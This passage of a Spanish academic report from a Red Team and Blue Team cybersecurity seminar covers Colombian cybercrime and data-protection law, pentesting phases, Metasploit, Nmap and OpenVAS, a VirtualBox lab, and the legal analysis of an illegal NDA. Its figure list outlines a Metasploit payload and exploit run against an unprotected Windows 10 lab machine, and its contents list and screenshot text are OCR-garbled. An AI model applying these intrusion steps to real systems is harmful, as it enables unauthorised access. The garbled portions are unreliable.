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RESUMEN

En el presente documento se presenta un informe técnico realizado con las
tematicas tratadas durante el Seminario Especializado: Equipos Estratégicos en
Ciberseguridad: Red Team & Blue Team. Este informe técnico tiene el fin de
presentar las caracteristicas que existen entre los equipos “Red Team y Blue Team”
y por medio de las diferentes actividades realizadas durante el seminario
especializado, representar la efectividad de los equipos antes mencionados en un
ambito empresarial.

Se representa la importancia que tienen los equipos Red Team y Blue Team en las
organizaciones, se muestra por medio de las leyes juridicas, las cuales son claras
y concisas a las actividades ilegales que se pueden presentar en el campo de la
ciberseguridad. Se llevan actividades técnicas durante el desarrollo del seminario
en cuanto a las pruebas de intrusion, que se hacen por medio de la simulacion de
un ataque y correspondiente a dicho ataque se procede a realizar la contencién del
ataque informatico.

En este informe se presentan las diferentes fases que se presentaron en el
seminario especializado que inicia con la apropiaciéon de conceptos relacionados
con la seguridad informatica, se presenta el ejercicio de actuacion ética y legal, se
muestra el ejercicio de las pruebas de intrusion haciendo uso de las herramientas y
procedimientos técnicos propios de “los equipos Red Team y Blue Team,”.



Contenido

(1@ 17 AN = [ SRR 8
T 0T [Tl ox T o NP 9
L. OBJEUIVOS ..ottt 11
1.1 ODBJetiVO GENEIAL.......uuiiiiiiiiiii e 11
1.1 ODbjetivOS €SPECITICOS ....cceeiiiiiiiiiiiie e 11
2. Desarrollo de la actividad ...............uuvuuuuimiiiiiiiiiiiiii 12
1.2 Etapa 1 - Conceptos equipos de Seguridad .........cccooeeeeeveiviiiiiiiiiieeeeeeennnns 12
2.2 Etapa 2 - Actuacion éticay legal.........ccccoeeeiiiiiiiiiiiiii e, 22
3.2 Etapa 3 - Ejecucion pruebas de intrusion ...........cccooeeeeeeiiiiiiiiiiiiie e, 27
4.2 Etapa 4 - Contencion de ataques infOrmatiCos ..........cccoevviiiiiiiiiiieneennnnnnns 35

3. De qué manera pueden aportar en el campo de la ciberseguridad la
integracion de equipos blue team, red team y purple team al mismo tiempo dentro

(o [N g F= o] o F= T g1 4= Tox o] o HARN PR 51
4. Politicas de seguridad y recomendaciones para mejorar los aspectos de
ciberseguridad en cualquier organizacion en sus entornos T.l. ........cccccevvvvvnnnnnnnns 53
1.4  Politicas de SeguIridad...........ccuuuiiiiiiieeiiii e 53
2.4 RECOMENUACIONES: .....cuuuuuiiieeeeeeeeieeiiiiae e e e e e e eeeeetia s e e e e eeeeeeeaannnaaeeeeeeeeeennes 53
ST O o [od 11171 1S 56

6. Referencias bibliografiCcas ............ccoooviiiiiiiiii e 57



llustracién 1.
llustracion 2.
[lustracion 3.
[lustracion 4.
navegador....
llustracion 5.
[lustracion 6.
llustracion 7.
[lustracion 8.
[lustracion 9.

llustracion 10.
[lustracion 11.
[lustracion 12.
[lustracion 13.
[lustracion 14.
[lustracion 15.
[lustracion 16.
[lustracion 17.
[lustracion 18.
[lustraciéon 19.

Tabla de ilustraciones

Descargar e instalar una maquina virtual “VirtualBox”...................... 20
Ping entre cada una de las maquinas Windows y Kali Linux............. 21
Las dos maquinas virtualizadas y configuracion de red.................... 27

sistemas de seguridad deshabilitados, control de aplicaciones y

.......................................................................................................... 28
sistemas de seguridad deshabilitados firewall y proteccién de red ..28
Ip del Kali Linux 192.168.1.103 .......covviiiiiiiiiiieieieeeeeeeeeeeeeeeeeeeeee e 29
Ejecucion exploity .exe en Windows 10 X64 ..........cceeeeriiiiiiiineennnn. 30
Configuracion del payload ... 30
ComaNdO SYSINTO ... 31
SEAICH T ¥.BXE iiiiii i 31
Eliminacion del arChiVo.€Xe ...........ccoiiiieiiiiiiiiciee e 32
Comando nmap -sS 192.168.1.192 -A ......ccoeeiieeiiieeeiiiee e 33
Esquema del ataque...........cooiiviiiiiiiiiiii e 34
Escaneo de puertos abiertos .........ccoovveeeeiiiiiiiiiiii e 36
Deteccion de conexiones reMOtasS.........cccvvvvvvvviiiiieeeeeeeeeiiiine e 36
Eliminacion del archivo maliCioSO ............cccevvviiiiiiiiiccicieecee e, 37
Eliminacion forzada del archivo maliCioSo ..........cccooeevvvvviiiiieneeeennn, 37
Tréafico de red con Wiresshark............cccoeiiieeiiiiiiiiiii e, 38

revision del registro del sistema ...........cooviiiiiiiiiiiiicie e, 39



Lista de tablas

Tabla 1. Tabla de diferencias entre SIEM Y XDR.........ccooiiiiiiiiiiiiiiiiiieee e



Tabla de anexos

Anexo A. 1: Link del video de sustentacion: https://youtu.be/GJkJJtYkwns



GLOSARIO

Amenaza: Situacion que puede comprometer la seguridad de un sistema.

Andlisis de vulnerabilidades: Analizar el estado de seguridad del sistema
o de sus componentes enviando periédicamente pruebas vy recogiendo los
resultados.

Antivirus: La funcion principal de estos programas consta en detectar y eliminar
virus informéticos o algunos programas maliciosos.

Equipos Blue Team: Los equipos Blue Team son responsables de defender la
organizacion contra los ataques. Utilizan varias técnicas y herramientas con el fin
de detectar, responder y mitigar los ataques

Equipos Red Team: Los equipos Red Team simulan atagues contra la organizacion
para ayudar a los equipos Blue Team a identificar y corregir vulnerabilidades.

Equipos Purple Team: Los equipos Purple Team combinan las habilidades de los
equipos Blue Team y Red Team para mejorar la coordinacion y la comunicacion
entre ambos equipos.

Exploit: es una pieza de software, datos o script que aprovecha una vulnerabilidad
en un sistema informatico o red. Los actores maliciosos suelen utilizar exploits para
obtener acceso no autorizado a sistemas y redes, robar datos o lanzar ataques.

Hardenizacién: es el proceso de reducir las vulnerabilidades de un sistema o red
mediante la implementacion de medidas de seguridad.

Payload: es la carga que se va a ejecuta en cierta vulnerabilidad, es decir, la carga
gue se activa a la hora de aprovechar dicha vulnerabilidad.

Virus informatico: es un tipo de software malicioso que se replica y se propaga de
un sistema a otro. Los virus informaticos pueden causar una variedad de dafios

Vulnerabilidades: Una vulnerabilidad es un término que describe una debilidad
0 un error en la programacion de recursos gque se puede utilizar para comprometer
equipos informéaticos, instalaciones, infraestructura de red y sistemas.



Introduccioén

Los ejercicios de Red Team y Blue Team permiten a las organizaciones evaluar su
capacidad de respuesta a los ciberataques. Estos ejercicios pueden ayudar a las
organizaciones a identificar y corregir vulnerabilidades en sus defensas, y a mejorar
sus capacidades de deteccion y respuesta a incidentes.

La politica de seguridad informatica de cada pais siempre va de la mano con la
adopcién de leyes estatutarias contenidas en el Cédigo Penal, que tienen como
objetivo imponer sanciones penales y sanciones financieras para diversas
actividades ilegales que crean nuevas formas de ciberdelincuencia.

En el presente documento se presenta el marco legal en Colombia relacionados con
los delitos informéticos y la proteccién de datos personales, también se identifican
las etapas del pentesting, como lo que es Footprinting y la definicion de algunas
herramientas de ciberseguridad y la implementacion del ambiente del banco de
trabajo.

En el campo de la ciberseguridad existen procesos entre las partes de trabajo en
disciplina que incorporan perfiles a nivel de la ética, las leyes y los recursos
humanos. Por tal motivo es de suma importancia darle el cuidado adecuado a estos
procesos de los cuales se tiene que tener conocimientos sobre lo que ello conlleva,
las leyes colombianas tienen un papel muy importante en la gestién de incidentes
de seguridad informética, donde es primordial conocer el marco regulatorio de las
entidades que intervienen en el proceso de legalidad de las organizaciones.

Se investigara y se hara un ejercicio mediante el uso de las herramientas de Kali
Linux, donde se explotaran las vulnerabilidades del sistema operativo Windows 10,
que representa un problema a la organizacion HackerHouse, la cual afecta al equipo
de Windows que se encuentra con los sistemas de seguridad deshabilitados. Al
explotar dicha vulnerabilidad con herramientas como Metasploit, permite el control
total del equipo afectado. En el presente documento se describe un ambiente
simulado (VirtualBox,) para colocar el sistema victima y el sistema atacante. Se
realizan las actividades de una prueba de intrusion como el escaneo de la red,
identificacion de vulnerabilidades y explotacion.

Se procede a proponer estrategias de contencion frente ante un ataque de
ciberseguridad. La contencién de ataques informéaticos es el proceso de limitar la
propagacion de un ataque informatico a un sistema o red. El objetivo de la
contenciéon es minimizar el impacto del ataque y proteger los sistemas y datos de la
organizacion HackerHouse. Al implementar un plan de contencion de ataques



informaticos, por parte de la organizacion permite minimizar el impacto de un ataque
y proteger sus activos importantes.
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1. Objetivos

1.10bjetivo general

Realizar un informe técnico, sobre la importancia de los equipos Red Team & Blue
Team dentro de una organizacion, mediante el desarrollo de actividades
propuestas durante el Seminario Especializado: Equipos Estratégicos en
Ciberseguridad: Red Team & Blue Team.

1.1Objetivos especificos

e Evaluar las acciones de los equipos Red Team & Blue Team en el marco de
los criterios éticos y legales

e Demostrar vulnerabilidades en un sistema informético a partir del uso de
metodologias y técnicas de intrusion.

e Formular estrategias de contencion mediante el analisis de riesgos y
vulnerabilidades en una infraestructura TI.

e Mencionar las diferencias que existen entre los equipos Blue Team y Red
Team con el Purple Team y equipos de respuesta a incidentes informaticos.
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2. Desarrollo de la actividad

1.2 Etapa 1 - Conceptos equipos de Seguridad

Ley de delitos informaticos

La Ley 1273 de 2009 se establecié con el fin de sancionar los delitos informaticos
en Colombia, pero existe un vacio en seguridad que afecta a toda la poblacion
colombiana, que puede ser victima de “delitos” por medio de las redes sociales.

CAPITULO |

De los atentados contra la confidencialidad, la integridad y la disponibilidad de los
datos y de los sistemas informéaticos, en este capitulo se tratan 7 articulos los cuales
se enfocan en delitos que incurre en conductas que se le es responsable de la
administracion, manejo o control de dicha informacion, ademas se le impondra
determinadas multas donde puede incluir la pena de inhabilitacion para el ejercicio
de profesion relacionada con sistemas de informacion procesada con equipos
computacionales.

Entre los articulo mas importantes se resaltan:

Articulo 269A. ACCESO ABUSIVO A UN SISTEMA INFORMATICO. El que, sin
autorizacion, acceda en todo o en cierta parte a un sistema informético protegido o
gue esta no con una medida de seguridad.

Articulo 269C. INTERCEPTACION DE DATOS INFORMATICOS. El que, sin orden
judicial previa intercepte datos informaticos en su origen, destino o en el interior de
un sistema informatico.

Articulo 269D. Articulo 269E. USO DE SOFTWARE MALICIOSO. El que, sin estar
facultado para ello, cause, trafique, comercie, venda, envie, introduzca o extraiga
del territorio nacional software malicioso u otros programas de computacién de
efectos dafinos.

Articulo 269F. VIOLACION DE DATOS PERSONALES.
Capitulo 11

De los atentados informaticos y otras infracciones, en este capitulo se tratan
articulos, los cuales establecen medidas de seguridad informaticas, realice la
conducta sefialada en el articulo 239 manipulando un sistema informatico, una red
de sistema
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electronico, telematico u otro medio semejante, o suplantando a un usuario ante los
sistemas de autenticacion y de autorizacidn establecidos, incurrird en las penas
sefialadas en el articulo 240 de este Cdédigo.*

Ley 1581 de 2012

Esta ley trata principios que son aplicables a los datos personales registrados en
cualquier base de datos que los haga susceptibles de tratamiento por entidades de
naturaleza publica o privada.

Cuando estas bases de datos o archivos vayan a ser suministrados a terceros se
debera, de manera previa, informar al Titular y solicitar su autorizacion.

CATEGORIAS ESPECIALES DE DATOS

Datos sensibles. Para los propdsitos de la presente ley, se concibe por datos
sensibles aquellos que afectan la intimidad del Titular o cuyo uso indebido puede
generar su separacion, tales como aquellos que revelen el origen racial o étnico, la
orientacion politica, las convicciones religiosas o filosoficas, la pertenencia a

PROCEDIMIENTOS

Articulo 14. Los Titulares o sus causahabientes podran consultar la informacion
personal del titular que repose en cualquier base de datos, sea esta del sector
publico o privado. El responsable del Tratamiento o Encargado del Tratamiento
deberan suministrar a estos toda la informacién contenida en el registro individual o
gue esté vinculada con la identificacion del Titular.

Articulo 15. Transcurridos dos meses desde la fecha del requerimiento, sin que el
solicitante presente la informacién requerida, se entendera que ha desistido del
reclamo. Una vez recibido el reclamo completo, se incluira en la base de datos una
leyenda que diga «reclamo en tramite» y el motivo del mismo, en un término no
mayor a dos dias habiles.

La Superintendencia de Industria y Comercio, a través de una delegatura para la
Proteccion de datos personales, desplegara la vigilancia para avalar que en el
Tratamiento de datos personales se respeten los principios, derechos, garantias y
procedimientos previstos en la presente ley. En los casos no contemplados como
excepcion en el presente articulo, corresponderd a la Superintendencia de Industria
y Comercio, proferir la declaracion de conformidad relativa a la transferencia
internacional de datos personales. Las disposiciones contenidas en el presente

1 Superintendencia de Industria y Comercio [pagina web]. [Consultado el 12, agosto, 2023].
Disponible en
Internet:<https://www.sic.gov.co/recursos _user/documentos/normatividad/Ley 1273 2009.pdf>.
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articulo seran aplicables para todos los datos personales, incluyendo aquellos
contemplados en la Ley 1266 de 2008.

CAPITULO Il
Procedimiento y sanciones

Articulo 22. Tramite. la presente ley por parte del responsable del Tratamiento o el
Encargado del Tratamiento, adoptara las medidas o impondra las sanciones
correspondientes.

En lo no reglado por la presente ley y los procedimientos correspondientes se
seguiran las normas pertinentes del Cédigo Contencioso Administrativo.

Articulo 23. Sanciones. La Superintendencia de Industria y Comercio podra imponer
a los responsables del Tratamiento y Encargados del Tratamiento las siguientes
sanciones:

A) Multas de caracter personal e institucional hasta por el semejante de dos mil
(2.000) salarios minimos mensuales legales vigentes al momento de la
imposicién de la sancién.

B) Suspensién de las actividades relacionadas con el Tratamiento hasta por un
término de seis (6) meses. En el acto de suspension se indicaran los
correctivos que se deberan adoptar.

C) Cierre temporal de las operaciones relacionadas con el Tratamiento una vez
pasado el término de suspension sin que se hubieren adoptado los
correctivos ordenados por la Superintendencia de Industria y Comercio;

Cierre inmediato y definitivo de la operacion que involucre el Tratamiento de datos
sensibles;?

Fases Pentesting

Este conjunto de métodos que se utiliza con el fin de medir, probar y evaluar los
niveles de seguridad, como todo lo relacionado con los sistemas de informacion.
Las técnicas de Penetration Testing permiten probar o simular los diferentes
ataques que los ciberdelincuentes utilizan para identificar vulnerabilidades y
comprender las posibles brechas de seguridad descubiertas para aplicar las
medidas de control necesarias.

2 LEY 1581 de 2012 - Gestor Normativo [Andnimo]. Inicio - Funcién Publica [pagina web].
[Consultado el 13, agosto, 2023]. Disponible en Internet:
<https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=49981>.
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Pruebas de caja negra

En las pruebas de caja negra, el probador no tiene ningun conocimiento del codigo
o la implementacion del sistema. El probador solo tiene acceso a la interfaz del
usuario y a los datos de entrada y salida.

El objetivo de las pruebas de caja negra es verificar que el sistema cumpla con sus
requisitos funcionales. Las pruebas de caja negra se suelen utilizar para probar
sistemas o aplicaciones que estan bien documentados y que tienen una interfaz de
usuario bien definida.

Pruebas de caja blanca

En las pruebas de caja blanca, el probador tiene acceso al cédigo fuente del sistema
o aplicacion. El probador puede usar este conocimiento para disefiar pruebas que
verifiquen la l6gica interna del sistema.

El objetivo de las pruebas de caja blanca es verificar que el sistema esté bien
disefiado y que no tenga errores. Las pruebas de caja blanca se suelen utilizar para
probar sistemas o aplicaciones que son complejos o que tienen un alto riesgo de
errores.

Pruebas de caja gris

En las pruebas de caja gris, el probador tiene un conocimiento limitado del sistema
o aplicacion. El probador tiene acceso a la interfaz del usuario, pero también tiene
acceso a parte del cédigo fuente o a la documentacion interna.

El objetivo de las pruebas de caja gris es combinar los beneficios de las pruebas de
caja negra y caja blanca. Las pruebas de caja gris se suelen utilizar para probar
sistemas o aplicaciones que estan en desarrollo o que estan siendo modificados.

Fases para ejecucion

Fase de reconocimiento: En esta fase se hacen uso de herramientas de analisis
para obtener toda la informacion del objetivo. En esta fase se realizaron las
siguientes actividades:

v' Se definieron los objetivos para las pruebas de pentesting.
v Se recopilo toda la informacién de manera para ser usada en las demas
fases.

Fase de enumeracion

En esta fase se realizaron actividades de investigacion, aun no se lleva a cabo
ningunataque.
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Fase de andlisis

En esta etapa, debe comenzar a interactuar y analizar los sistemas expuestos. El
andlisis se realiza para detectar vulnerabilidades, brindar asesoria a nivel de
infraestructura, sistemas operativos, servicios disponibles o aplicaciones existentes.

Fase de explotacion

En esta fase, el sistema de penetracion comienza a recopilar evidencias y se
realizan las acciones y pasos realizados en una prueba de penetracion. Con
evidencia para respaldar la intrusion, toda la documentacién debe prepararse mas
tarde

Fase de documentacion

En esta fase se correspondio a realizar la documentacién correspondiente al
ataquerealizado.

Aplicaciones (Opensource y pagas) podria utilizar para este proceso
Herramientas:

- Nmap (escaneo de puertos)
- FOCA (analisis de metadatos)
- Passive Recon (para webs)

Porque es importante esta etapa Footprinting

Es una técnica utilizada para recopilar informacion sobre los sistemas informéaticos
y las entidades a las que pertenecen. Para obtener dicha informacion, los piratas
informaticos pueden tener que utilizar varias herramientas y tecnologias. Esta
informacion es til para los piratas informaticos que se infiltran en un sistema.

Es una etapa importante ya que hace la evaluacion de la postura de seguridad de
la infraestructura de Tl de la organizacién objetivo. Los piratas informaticos recopilan
la maxima informacién sobre un sistema informatico o una red y sobre cualquier
dispositivo conectado a esa red.?

Explicacién de las herramientas y servicios utilizados en ciberseguridad. Open
Vulnerability Assessment Scanner (OpenVAS)

Es un framework que cuenta con servicios y herramientas para la evaluacién de
vulnerabilidades y puede usarse de forma individual o como parte del conjunto de

8 ZOLA, Andrew. What is footprinting in ethical hacking? Security [pagina web]. (23, noviembre,
2021). [Consultado el 29, septiembre, 2023]. Disponible en Internet:
<https://www.techtarget.com/searchsecurity/definition/footprinting>.
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herramientas de seguridad incluidas en OSSIM (Open Source Security Information
Management).

Es un sistema de evaluacion de vulnerabilidades gratuito y de cédigo abierto que
puede detectar problemas de seguridad en todo tipo de servidores y dispositivos de
red. Es una herramienta integral que se puede utilizar para buscar una amplia gama
de vulnerabilidades, incluidas vulnerabilidades comunes de aplicaciones web,
vulnerabilidades de red y vulnerabilidades del sistema operativo.

Funciona comparando los sistemas y redes que escanea con una base de datos de
vulnerabilidades conocidas. Si encuentra una coincidencia, generara un informe que
incluye informacion sobre la vulnerabilidad, como su gravedad, cdmo explotarla y
coémo solucionarla. Se puede utilizar para escanear sistemas y redes tanto internos
como externos. También se puede utilizar para buscar vulnerabilidades en entornos
de nube.

OpenVAS es una herramienta poderosa que puede ayudar a las organizaciones a
identificar y corregir vulnerabilidades de seguridad antes de que puedan ser
explotadas por atacantes. Es una opcién popular para organizaciones de todos los
tamanos, incluidas pequefias y grandes empresas y agencias gubernamentales.

Caracteristicas de OpenVAS:

Escaneo integral de vulnerabilidades: OpenVAS puede escanear en busca de una
amplia gama de vulnerabilidades, incluidas vulnerabilidades comunes de
aplicaciones web, vulnerabilidades de red y vulnerabilidades del sistema operativo.

Soporte para escaneo interno y externo: OpenVAS se puede utilizar para escanear
sistemas y redes tanto internos como externos.

Soporte para escaneo en la nube: OpenVAS también se puede utilizar para buscar
vulnerabilidades en entornos de nube.*

Metasploit framework

Es una plataforma de prueba de penetracion modular basada en Ruby que le
permite escribir, probar y ejecutar cédigo de explotacién. Contiene un conjunto de
herramientas que puede utilizar para probar vulnerabilidades de seguridad,
enumerar redes, ejecutar ataques y evadir la deteccion.

Metasploit Framework es una herramienta poderosa que pueden utilizar tanto
piratas informéaticos éticos como actores maliciosos. Es importante tener en cuenta

4 HATS | Human and Technical Security [pagina web]. [Consultado el 10, agosto, 2023]. Disponible
en Internet: <https://www.usablesecurity.net/USEC/NDSS/wp-
content/uploads/2019/02/usec2019 03-4 Aksu paper.pdf>.
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gue Metasploit Framework no es una solucion magica. No se puede utilizar para
explotar ninguna vulnerabilidad y no reemplaza las buenas practicas de seguridad.

Usos de Metasploit Framework:

Pruebas de penetracion: Metasploit Framework se puede utilizar para simular
ataques del mundo real e identificar vulnerabilidades de seguridad en redes y
sistemas.

Investigacion de seguridad: Metasploit Framework se puede utilizar para desarrollar
nuevos modulos de explotacion e identificar nuevas vulnerabilidades de seguridad.

Actividad maliciosa: Metasploit Framework puede ser utilizado por actores
maliciosos para explotar vulnerabilidades de seguridad y obtener acceso no
autorizado a los sistemas.®

NMAP

Es una herramienta de mapeo de red y auditoria de seguridad que se utiliza para
identificar hosts y servicios en una red. Est4 escrito en C y esta disponible de forma
gratuita bajo la licencia GPL. Es una herramienta versatil que puede utilizarse para
una amplia gama de tareas de seguridad, incluyendo la deteccion de sistemas
operativos, la deteccion de puertos abiertos, y la deteccidén de vulnerabilidades. Se
puede utilizar una variedad de técnicas para identificar hosts y servicios, incluyendo
la deteccién de ping, la deteccion de puertos abiertos, y la deteccion de servicios.
También puede utilizar una variedad de técnicas para detectar vulnerabilidades,
incluyendo la deteccion de sistemas operativos vulnerables, la deteccidon de puertos
abiertos vulnerables, y la deteccién de servicios vulnerables. ©

* ¢ Qué es un CVE y su estructura?

Es un sistema de catalogacion publica que identifica y enumera las vulnerabilidades
de seguridad conocidas en productos software y hardware que esta desarrollado y
mantenido por el MITRE con el respaldo de la comunidad de ciberseguridad.

Es un identificador Unico para una vulnerabilidad de seguridad informatica. Se utiliza
para estandarizar la forma en que se nombran y describen las vulnerabilidades, lo

5 NUMERO-18 | Revista .Seguridad [An6nimo]. Revista .Seguridad | [pagina web]. [Consultado el
13,agosto, 2023]. Disponible en Internet:
<https://revista.seqguridad.unam.mx/cateqory/revistas/numero- 18>.

6 NMAP IN the Enterprise [Anénimo]. Google Books [pagina web]. [Consultado el 2, octubre, 2023].
Disponible en Internet:
<https://books.google.es/books?hl=es&amp:lr=&amp;id=VjgezB784XIC&amp;oi=fnd&amp;pg=PP1
&amp;dg=Nmap&amp;ots=k4sm9w3yQa&amp;sig=XjSeEvdJoZVvu8BpMbn2KopowJ4#v=onepage
&amp;g=Nmap&amp;:f=false>.
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que facilita a los profesionales de la seguridad la identificacion y el seguimiento de
las mismas.

Los CVE son administrados por la MITRE Corporation, una organizacion sin fines
de lucro que se dedica a la investigacion en seguridad informatica. La informacion
sobre los CVE esta disponible en el sitio web de MITRE.

Los CVE son una herramienta importante para la gestion de la seguridad
informatica. Al estandarizar la forma en que se nombran y describen las
vulnerabilidades, los CVE facilitan a los profesionales de la seguridad la
identificacion y el seguimiento de las mismas.’

Usos los CVE:

e Para identificar una vulnerabilidad: Si un profesional de la seguridad
encuentra una vulnerabilidad, puede utilizar el CVE para identificarla de
forma rapida y sencilla.

e Para rastrear el progreso de una vulnerabilidad: Los CVE se pueden utilizar
para rastrear el progreso de una vulnerabilidad, desde su descubrimiento
hasta la resolucion.

e Para comparar vulnerabilidades: Los CVE se pueden utilizar para comparar
vulnerabilidades entre si, lo que puede ayudar a los profesionales de la
seguridad a priorizar las correcciones.

7 CIBERSEG1922. ;Qué es CVE? Explicacion de vulnerabilidades y exposiciones comunes.
Ciberseguridad [pagina web]. (11, octubre, 2021). [Consultado el 13, agosto, 2023].
Disponible eninternet: <https://ciberseguridad.com/herramientas/marco-mitre-att-ck/cve-
vulnerabilidades- exposiciones-comunes/>.
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Implementacion del banco de trabajo
Paso A

llustracién 1. Descargar e instalar una maquina virtual “VirtualBox”

M (@ Downloads - Oracle VM Virtualt. X | + - a X
o () () https//www.virtualbox.org/wiki/Downloads A 7 M = % & - ib)

B3 Importar favoritos | {B) Guia de actividades... BE Autenticacion: Herr.. & Acer o Live HTTP Headers.. M Acceso a plataform...

VirtualBox

Entrar  Preferencias
Pagina inicial indice Historial

o -
Download VirtualBox

About
Here you will find links to VirtualBox binaries and its source code.

Screenshots

Downloads VirtualBox binaries

Documentation By downloading, you agree to the terms and conditions of the respective license.

End-user docs If you're looking for the latest VirtualBox 6.1 packages, see VirtualBox 6.1 builds. Version 6.1 will

remain supported until December 2023.
Technical docs
VirtualBox 7.0.10 platform packages
« =Windows hosts
« =macOS / Intel hosts
« Linux distributions

Contribute

Community

»Solaris hosts
> Solaris 11 IPS hosts

The binaries are released under the terms of the GPL version 3.
See the changelog for what has changed.

You might want to compare the checksums to verify the integrity of downloaded packages. The SHA256
checksums should be favored as the MD5 algorithm must be treated as insecure!

C Chubascos A

H A Buscar

Fuente: el autor
Paso B

Intalacion de Kali Linux y Windows 10

¥ Oracle VM VirtualBox Administrador - X
Archivo  Maquina  Ayuda

([ — W & -

Nueva Configuracén Descartar Iniciar

= General = Previsualizacién
©) Hombre: WINDOWS 10
Sistema operativo: Windows 10 (84-bit)
lcali-linux-2023.3-virtualbox-amd6a [=] sistema
[ suardads Vemoriabase: 2048 M8
Grden de arranque:  Disquete, Optica, Disco duro WINDOWS 10
Aceleracién: VT-x/AMD~V, Paginacitn anidada, Paravirtualizacién Hyper-v
™) pantalla
Memoria de video: 128 M8
Controlador grafico: VBOXSVGA
Servidor de esaritoria remato:  Inhabllitado
Grabaddn: Inhablitado

Almacenamiento

Controlador: SATA
Puerto SATAD:  WINDOWS 10.vdi (Normal, 50,00 GB)
Puerto SATA 1:  [Unidad éptica] Windows 10 21H2 23 02 23.is0 (4,49 GB)

fn Audio

Controlador de anfitrién: ~ Windows DirectSound
Controlador: Audio Intel HD

& Red

Adaptador 1:  Intel PRO/1000 MT Desktop (NAT)
5 uss

Controlador USB OHl

Fitros de dispositivos: 0 (0 ;dwn)
[] carpetas compartidas
Ninguno

& Descripeion

hinguno

ﬂ £ Buscar P

Fuente: el autor

Récord minis
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Paso C

validar que exista comunicacion entre cada una de las maquinas Windows y Kali
Linux.

llustracion 2. Ping entre cada una de las maquinas Windows y Kali Linux.

kali@kali: ~

File Actions Edit View Help

lisions @

s 12
s @ dropped 0 rruns @
packets bytes 1240 (1. iB)
errors 0 drepped @ overr! rrier @ collisions @

%39 p.m.

) EP oo

Fuente: el auto
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2.2 Etapa 2 - Actuacion éticay legal

Andlisis legal del anexo 2 — escenario 2y el anexo 3 — Acuerdo

1. ¢Una vez leido el anexo 2 — escenario 2 y el anexo 3 — Acuerdo, ¢Qué
parrafos cree usted que se tornan ilegales dentro del acuerdo de
confidencialidad? En caso de existir lineas de texto que orienten el acuerdo
de confidencialidad a procesos ilegales debera resaltar, explicar vy
argumentar porqué se torna ilegal este acuerdo de confidencialidad.

A continuacion, se resaltan los péarrafos que consideré como profesional que son
ilegales y el motivo por el cual lo considero.

Primera. Objeto: en virtud del presente acuerdo de confidencialidad, la parte
receptora, se obliga a no divulgar directa, indirecta, préxima a remotamente, ni a
través de ninguna otra persona o0 de sus subalternos o funcionarios, autoridades
legales, asesores 0 cualquier persona relacionada con ella, la informacion
confidencial o sobre procesos ilegales dentro de HackerHouse no podran ser

divulgados.

Por parte de la organizacion trata de esconder mediante el acuerdo de
confidencialidad en una clausula amparada por la ley que en el proceso no se podra
reportar de forma oficial ante autoridades legales los procedimientos o informacién
ilegal, lo que crea desconfianza entre las partes, el acuerdo de confidencialidad
deben ser legitimos lo que debe permitir que la informacion de la organizacion
HackerHouse no tenga lineamientos que obliguen a esconder o callar procesos
ilegales que se presenten en dicha organizacion.

Se puede observar que existe ilegalidad, ya que establece que se esta obligado a
no divulgar los procesos ilegales dentro de la organizacién ante autoridades legales
0 asesores, dando a conocer que es una organizacion que puede estar realizando
procesos ilegales.

Cualquier informacién societaria, técnica, juridica, financiera, comercial, de
mercado, estratégica, de productos, nuevas tecnologias, patentes, modelos de
utilidad, disefios industriales, datos secretos como “datos de chuzadas,
interceptacion ilegal de informacién, accesos abusivos a sistemas informaticos”.

Se evidencia como se ha obtenido informacion de manera ilegal rompiendo barias
leyes, lo que indica que cierta informacion de la organizacion HackerHouse esta
utilizada con fines de obtener beneficios econémicos.

En este caso se esta incurriendo en un delito, ya que se estan realizando procesos
como lo son las chuzadas, el cual esta sancionado por el cédigo penal colombiano,
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porque estas actividades deben de ser autorizadas por entidades asignadas a dicho
proceso.

Cuarta. Obligaciones de la parte receptora: Se considerard como parte receptora de
la informacion confidencial a la persona que recibe la informacién, o que tenga
acceso a ella. La parte receptora se obliga a:

No denunciar ante las autoridades actividades sospechosas de espionaje o
cualquier otro proceso en el cual intervenga la apropiacidon de informacion de
terceros.

Este aspecto es muy importante, ya que en el acuerdo la organizacién esti
obligando a que su personal a ser caso omiso al no permitir denunciar actividades
sospechosas, lo cual los hace participes de los delitos que se cometan dentro de la
organizacion. No denunciar procesos ilegales lo hace complice y responsable de los
delitos.

Responder por el mal uso gue le den sus representantes a la informacion
confidencial.

La que informacion que se le dé mal uso la responsabilidad recae sobre el que
realizo la accion y no sobre otra persona, cada quien es responsable de lo que hace
y debe atenerse las consecuencias.

Responder ante las autoridades competentes como responsable en caso de que la
informacidn se encuentre en su poder dentro de un proceso de allanamiento.

La organizacion también debe verse afectada en los procesos ilicitos y en esta parte
del acuerdo quiere que la responsabilidad de algun delito cometido recaiga toda
sobre la parte receptora.

La parte receptora se obliga a no transmitir, comunicar revelar o de cualquier otra
forma_divulgar total o parcialmente, publica o privadamente, la informacion
confidencial o ilegal sin el previo consentimiento por escrito _por parte de
HackerHouse.

Cuando se descubre que en la organizacion existe informacién ilegal se esta en la
obligacion de denunciar dicha informacion y en el acuerdo obliga a no trasmitir dicha
informacion, lo que hace que el acuerdo sea ilegal, no trasmitir informacion ilegal en
cierta manera lo hace participe del delito.

Octava. Solucion de controversias: Las partes (nombre estudiante — nombre
empresa) se comprometen a esforzarse en resolver mediante los mecanismos
alternativos de solucion de conflictos cualquier diferencia que surja con motivo de la
ejecucion del presente acuerdo. En caso gue la informacién ilegal o confidencial sea
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encontrada en manos del receptor este debera acudir a un abogado privado y dejar
exenta de cualquier responsabilidad legal y penal a HackerHouse.

En este caso la organizacion quiere hacer responsable de toda accion ilegal al
receptor quedando libre de todo proceso ilegal, lo cual hace este acuerdo que sea
ya que la organizacion también debe atenerse a las consecuencias por los procesos
ilegales.

Si usted como profesional en ciberseguridad logré encontrar algin proceso
ilegal en el anexo 3 — Acuerdo, debera citar puntualmente ley colombiana y
articulo que se podria estar violentando en dicho documento.

Segun los procesos ilegales resaltados anteriormente se presentan los articulos que
se estan violando:

Articulo 269A. ACCESO ABUSIVO A UN SISTEMA INFORMATICO. El que, sin
autorizacion o por fuera de lo acordado, acceda en todo o en parte a un sistema
informatico protegido o no con una medida de seguridad, o se mantenga dentro del
mismo en contra de la voluntad de quien tenga el legitimo derecho a excluirlo,
incurrira en pena de prisién de cuarenta y ocho (48) a noventa y seis (96) meses y
en multa de 100 a 1000 salarios minimos legales mensuales vigentes.2 En el
acuerdo se esta violando este articulo ya que se datos accediendo a realizar
chuzadas, interceptacion ilegal de informacién, accesos abusivos a sistemas
informaticos.

Articulo 269C. INTERCEPTACION DE DATOS INFORMATICOS. El que, sin orden
judicial previa intercepte datos informaticos en su origen, destino o en el interior de
